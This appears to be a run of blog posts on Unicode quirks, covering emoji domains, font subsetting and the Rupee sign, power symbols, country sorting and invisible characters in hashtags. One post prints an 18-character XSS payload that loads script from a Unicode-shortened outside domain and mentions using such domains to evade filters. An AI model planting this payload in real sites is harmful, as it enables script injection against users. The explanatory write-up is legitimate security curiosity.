This is interesting.
A bank claimed it couldn't use diacritics in a customer's name due to technical limitations.
Customer sued… and won!
Your name is personal data, and GDPR says it should be recorded accurately.

---

---

Michael Büker 🇺🇦

@emtiu

Eine Erschütterung der Macht, als würden Millionen Banken-ITler in panischer Angst aufschreien und dann verstummen.

Terence Eden is on Mastodon

@edent

This is interesting.
A bank claimed it couldn't use diacritics in a customer's name due to technical limitations.
Customer sued… and won!
Your name is personal data, and GDPR says it should be recorded accurately.

---

---

tl;dr you can't register Punycode .ss domains.

This also means Internet users in South Sudan can't register domains using their own writing system.

Background

The Republic of South Sudan became independent and joined the United Nations back in 2011. A decade later, and it's now possible to register .ss domains.

Partly due to the history of the letters SS, and partly because of the way domains are usually organised, you cannot register a .ss domain directly. You can have .com.ss, .edu.ss, .biz.ss, .sch.ss, .gov.ss, .net.ss, and - my new favourite - .me.ss!

This allows for some interesting domain hacks. Perhaps host a recipe page for Eton Mess? Or complain about trash at your_town.me.ss?

I was looking at hot.me.ss - but someone already snapped that up. However, the registrar said they allowed Punycode registration. Which means... EMOJI DOMAINS!

So, for €24, Afriregister.com.ss sold me...

🔥.me.ss

For the Punycode minded among you, that's xn--4v8h.me.ss

The process

This wasn't quite as simple as I hoped. There are several registries which claim to support .me.ss - but halfway through the process, they'd decide that they couldn't register it. Some of the registrars outside of Africa wanted extortionate prices for domains. But Afriregister.com.ss were relatively cheap and hassle-free. They let you pay via PayPal.

Domains have to be approved. There is a long list of banned terms. Some of those restrictions are very specific to the people of South Sudan - so it is worth reading.

The failure

The registration still hadn't completed after 12 hours. So the next day I chatted to the registrar.

Damnit!

Looking more closely at nic.ss's registration policies, they say

4.1 All .SS Domain Names MUST have a minimum of THREE (3) characters. 4.2 All .SS Domain Names should not have more than 63 characters. 4.3 All .SS Domain Names should have a syntax pattern of [a-z 0-9].

It didn't explicitly allow or deny hyphens - so I thought I'd risk it.

Oh well, that would have been fun if it worked.

As I said, it's important to publish about things which don't work. It stops other people from wasting their time on futile pursuits.

So, I've now got credit with the registrar. What .me.ss domain should I get?

Most programming languages have the concept of relational operators. How does variable X compare to variable Y?

If we want to ask if X is less than or equal to Y, we write X <= Y. Which is a bit weird, because Unicode has a "less-than-or-equal-to" character: ≤. But because there's no button for that on a standard keyboard, we use a hacky solution of jamming two characters together.

In the R language, the assignment operator is <- this is because programming keyboards used to have a ← button on them. That button has gone from modern machines, so we make do and mend.

There are some programming fonts which contain ligatures to automatically convert these characters (although this makes some people very grumpy).

Unicode includes ⩶ (U+2A76) and ⩵ (U+2A75) as distinct glyphs. So why are we still hitting the = key multiple times like savages?

This leads to the deeply weird situation where "⩵" ≠ "==" and absolutely no programming language that I know of will let you use the correct Unicode characters!

(Except, of course, Raku - which made this change based on my suggestion.)

Ideally, we need programming languages which support Unicode symbols as first class characters, and keyboards with a hundred more buttons.

Here's a list of countries from the Curve Credit card (join and we both get a fiver!) - I scrolled all the way to the bottom looking for the UK, only to find it nestled between France and Greece!

The more you look at the list, the weirder it becomes. Why is Spain next to Estonia? Ah! Because they are Espania! Croatia next to Hungary? A sensible location for the Republika Hrvatska!

I assume they've been sorted by each country's ISO 3166-1 alpha-2 code:

• EE
• ES
• FI
• FR
• GB (Because UK might be confused with Ukraine, I guess?)
• GR
• HR
• HU
• IE

I know there are loads of falsehoods that programmers believe about names, flags, languages, countries, and addresses. So I guess we need to add a "falsehoods programmers believe about sorting lists of countries"!

A font file contains a list of characters (usually letters, numbers, and punctuation) and glyphs (the drawn representation of that character). It is, of course, a lot more complicated than that.

Each character has a codepoint which is represented in hexadecimal. For example, U+0057 is the Latin letter Capital W, U+20AC is the Euro Symbol €, and U+1F600 is the Emoji Smiling Face 😀. These codepoints are assigned by the Unicode Consortium.

A font which contains thousands of characters will be multi-megabytes in size. That's annoying when downloading a font file to display text on a website in a particular font.

It is possible to create a "subset" of a font which only contains the characters that you want. This makes the font file smaller, which makes downloading things quicker for the user.

Again - it is all a lot more complicated than that, but it's a good approximation of the truth.

Traditionally, it makes sense to subset fonts by human languages. If you are writing in English, you don't want the Greek set of characters. If you're writing in Vietnamese, you don't want Cyrillic characters.

Once a subset has been created, you can refer to it in CSS like this:

@font-face {
  font-family: 'CoolFont';
  src: url(https://example.com/font.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131;
}

This tells the web browser that the font covers the characters U+0000 to U+00FF and, additionally, the character U+0131 - "Latin Small Letter Dotless I".

U+0000 to U+007F are "Basic Latin". They contain the traditional English letters, numbers, and some symbols.

U+0080 to U+00FF are "Latin-1 Supplement". They contain "European" symbols like Ñ, å, and ÿ.

As Unicode has added more languages, they have scattered characters across the specification. And that's where the problem lies.

The Problem

A user in India has complained that Google's font subsetting ignores Indian users.

Here's an example.

Google's Roboto font has the following characters as part of its Latin subset:

• U+0000-00FF Basic Latin and Supplement
• U+0131 ı Latin Small Letter Dotless I
• U+0152-0153 Œ and œ Ligature Oe
• U+02BB-02BC ʻ and ʼ Modified Punctuation
• U+02C6 ˆ Modifier Letter Circumflex Accent
• U+02DA ˚ Ring Above
• U+02DC ˜ Small Tilde
• U+2000-206F - General Punctuation
• U+2074 ⁴ Superscript Four
• U+20AC € euro sign
• U+2122 ™ Trade Mark Sign
• U+2191 ↑ Upwards Arrow
• U+2193 ↓ Downwards Arrow
• U+2212 − Minus Sign
• U+2215 ∕ Division Slash

You can argue how useful or not some of these characters are - but what's interesting is what's missing.

India has twice the number of English speakers as the United Kingdom.

A website written for an English speaking audience in India is likely to want the Latin subset of a font. But it will also want one local character - ₹ - U+20B9. The Rupee is the currency of India and its character is part of the "Currency Symbols" Unicode block.

So should the Rupee be part of the "Latin" subset?

Colonialism In Tech

The original complainant says:

this symbol [₹] is excluded (subsetted out) of many Latin fonts that originally included it due to an American assumption that English is not spoken in India.

I don't know whether their assumption about Google is correct. But it seems odd to specifically include € in Google's Latin subset, but not the Rupee. Latin is not synonymous with "European".

Through a quirk of history, the Dollar symbol - $ - is in Basic Latin. The Yen currency symbol - ¥ - is included in the Latin-1 Supplement, as is the Pound - £.

Roboto's Latin subset contains Old English characters like þ (Thorn) and Ð (Eth).

Are obsolete characters used only in mediaeval text really more important to include than the currency for a billion people?

Google do include the ₹ in their "Latin Extended" subset. So if an Indian user wants to use their currency, they need to download a separate font which includes 1,011 characters they don't need.

This is inefficient. It increases the download weight and energy usage of billions of people.

Some Simple Solutions

There are a few things which can be done here.

I think that Google probably should include a popular currency symbol in their Latin subset font. Yes, there's a risk that the font might grow in size as more useful symbols are added. And, no, Latin doesn't mean English and English doesn't mean Indian - but we're all trying to get along on this crowded planet. So let's be flexible.

Google could create an "en_IN" subset which includes all the popular and useful characters needed by an Indian audience. It seems like there is sufficient demand for it.

Users should use the Google Font API to create a subset which has only the specific characters they want. That way they aren't reliant on the whims of a megacorp to decide what counts for their language.

Finally, as developers, we should understand that what is "logical" and "orderly" isn't always how our users see things. We have a huge range of biases and unexamined assumptions. Some of the earliest foundations of computer science are based on a very rigid and limited set of assumptions about the world. Let's do our best to be more inclusive.

⏻ ⏼ ⭘ ⏽ ⏾

They’re available to use in the browser, in emails, and messages.

Here’s how they look, in both dark and light mode:

Terence Eden is on Mastodon

@edent

Anyone with iOS 14 able to see these 5 symbols?
If not - who do I still know at Apple that is willing to listen to me grouch at them?

Terence Eden is on Mastodon

@edent

If you've got the new iOS, I'd love to know how our new Unicode Power Symbols render.
⏻ ⏼ ⏽ ⭘ ⏾
UnicodePowerSymbol.com
THANKS GANG!

---

---

Mark Baker

@Mark_Baker_UK

Replying to @edent@edent Yup can see them on iOS 14 👍 pic.x.com/hpue9dgaku

---

Sadly, Android users still can’t take advantage of these new symbols. Although Google have added them to their Noto fonts – they show a curious reluctance in rolling them out to Android. Hopefully this new iOS availability will help them reconsider.

If you’d like to add these symbols to your computer or your website, you can download the Power Symbols font or Google's Noto Sans Symbols 2.

Huge thanks to the gang at Apple for helping bring these characters to millions of users. It's fantastic to see a tiny proposal to a standard suddenly be made available world-wide. Although it isn't technically an emoji, I'm excited to see people using it for all sorts of things.

A few years ago, I tried to find a Minimum Viable XSS. The conclusion that I (and others) came to is that 20 characters is the bare minimum. But it requires you have a 2 character domain name on a 2-character TLD. Something like xy.uk

I don't think any 1- or 2-character domain names are available. If they're for sale, it will be at extortionate price. There are no Top-Level Domains shorter than 2 characters.

So, let's cheat!

This is the story of how I bought a single character domain, and am able to reference it in 3 characters, for the cost of a round of drinks.

Brief History

As I discussed in Domain hacks with unusual Unicode characters - there are a bunch of single Unicode codepoints which are normalised to 2- or 3-character sequences.

For example, ㎐ is the scientific symbol for Hertz. It is a single codepoint (U+3390). When your browser sees it in a domain name, it automatically splits it into the H and z characters. This is called decomposition.

Based on my count, there are about 90 symbols which decompose into 2 characters - for example ™, ㏄, dz. There are about 35 symbols which decompose into 3 characters - for example ㎪, ㍹, ffi.

But, as mentioned, it is almost impossible to find a cheap 2- or 3-letter domain name.

There are, however, a couple of four character decompositions!

Quidquid latine dictum sit, altum videtur

The Romans didn't use a positional number system. The number 1 was Ⅰ, the number 2 was Ⅱ, the number 9 was Ⅸ.

But - look closely! The Ⅰ is not the English letter I - it is its own, separate, Unicode character (U+2160). And Ⅱ is not two Ⅰs smushed together, it is (U+2161).

When decomposed, however, they return to English letters.

What's the longest Roman numeral captured in a single codepoint?

The number 8 is Ⅷ (U+2167) - which decomposes to V I I I. Four characters!

but apart from the sanitation, the medicine, education, wine, public order, irrigation, roads, a fresh water system, public health, and a number system suitable for character decomposition what have the Romans ever done for us?

tl;dr TLD

There are a number of Top-Level Domains which can also be represented by a single character.

For example, Australia's TLD .au can be represented by the Astronomical Unit sign ㍳ (U+3373).

Most of those domains were expensive, or unavailable. But I found one which was both cheap and available.

Yes! The orthographic ligature of fi decomposes to f and i. That's the TLD for Finland.

I was able to register a Finnish domain on Gandi for £15.

Ⅷ.fi🔗

That's Roman Numeral Eight (U+2167), dot (U+002E), Latin Small Ligature Fi (U+FB01).

Is this useful?

This gives me a Minimum Viable XSS in eighteen characters!

• <script src=//Ⅷ.fi>

I'm pretty sure that's the shortest possible sequence!

Or, for loading remote resources in 15 characters:

• <img src=//Ⅷ.fi>

There aren't many sites which are secured only by using a restricted character count - thankfully! But shrunk domains can also be useful for evading all sorts of filters.

Other domains are available

There's one other 4-character decomposition available - see if you can find it!
There are a few shrinkable TLDs which still have some of the 2- and 3-character domains available, but they are extortionately priced.

If you do grab one of these, and make something cool with it, please let me know.

Support this blog

If you've learned something from my blog posts, here's how you can return the favour:

• Buy me something nice from my Amazon wishlist
• Support me on Ko-Fi

Steganography (/ˌstɛɡəˈnɒɡrəfi/ is the practice of concealing a file, message, image, or video within another file, message, image, or video.

I recently saw someone tweeting the hashtag #ManchesُterDerby

Do you see an odd character in the middle? It's an Arabic Damma (U+064F) - a vowel character. Although it comes after the "s" in Manchester, it appears after the "t" because it is a Right-To-Left (RTL) character.

Yet, if you click on the hashtag with the extra character, you get through to the same page as if you had visited the regular #ManchesterDerby page.

Are there standards for hashtags?

In 2010, when Twitter was still in its infancy, I wrote a blog post on emerging Hashtag Standards.

Saying "these two strings of characters are equivalent" is a surprisingly hard problem in computer science. Is Café the same as cafe? In Twitter-land, they are identical. Case-sensitivity is ignored, and accents go through decomposition, and normalisation is applied to produce equivalence.

In over-simplified terms, all accents, diacritics, and modifiers are ignored. So #Ŕöméø is equivalent to #Romeo.

And, in this case "◌ُ  " , is ignored.

Steganography

The art of hiding secret messages in otherwise innocuous texts has a long history. Let's bring it into the modern day. Suppose we want to track whether someone has control of a Twitter account - we could ask them to tweet a seemingly innocent hashtag with invisible characters in it.

For example, using the diacritic "dot bẹlow" is likely to be unnoticed on a dirty screen. Did you spot it in the previous sentence?

Or, for absolute invisibility, use ͏ . Did you see that character? Nope! It is the combining grapheme joiner (U+034F). Completely invisible to the user, but it appears in the URL. For example #T͏esting links to twitter.com/hashtag/t%CD%8Festing

You can read Tom Ross's blog post about checking for information leakage using hidden characters to understand more of the theory.

Use in Twitter Marketing campaigns

If you visit the page of a hashtag with ignored character, something interesting happens. Hitting the "Tweet" button pre-fills your message with the hashtag. Not the normalised tag, but the one with hidden characters.

Try it now! Visit #Ŕöméø, you'll see all sorts of different #Romeo Tweets, but hit the Tweet button and see what happens.

A marketing campaign could give out identical looking hashtags to influencers - for example:

• Alice #Campaig%CD%8Fn
• Bob #Camp%CD%8Faign
• Eve #C%CD%8Fa%CD%8Fm%CD%8Fp%CD%8Fa%CD%8Fi%CD%8Fgn

By seeing which of those subtly-different-but-semanticly-identical hashtags is used the most, it might be possible to see which influencer has the biggest reach.

Where next?

Hidden characters can be used for steganography in text and hashtags. You can use them to track who has copy-n-pasted specific versions of a text document, or who has clicked on a specific link to tweet out some information.

But is there anything more socially useful you can think to do with them?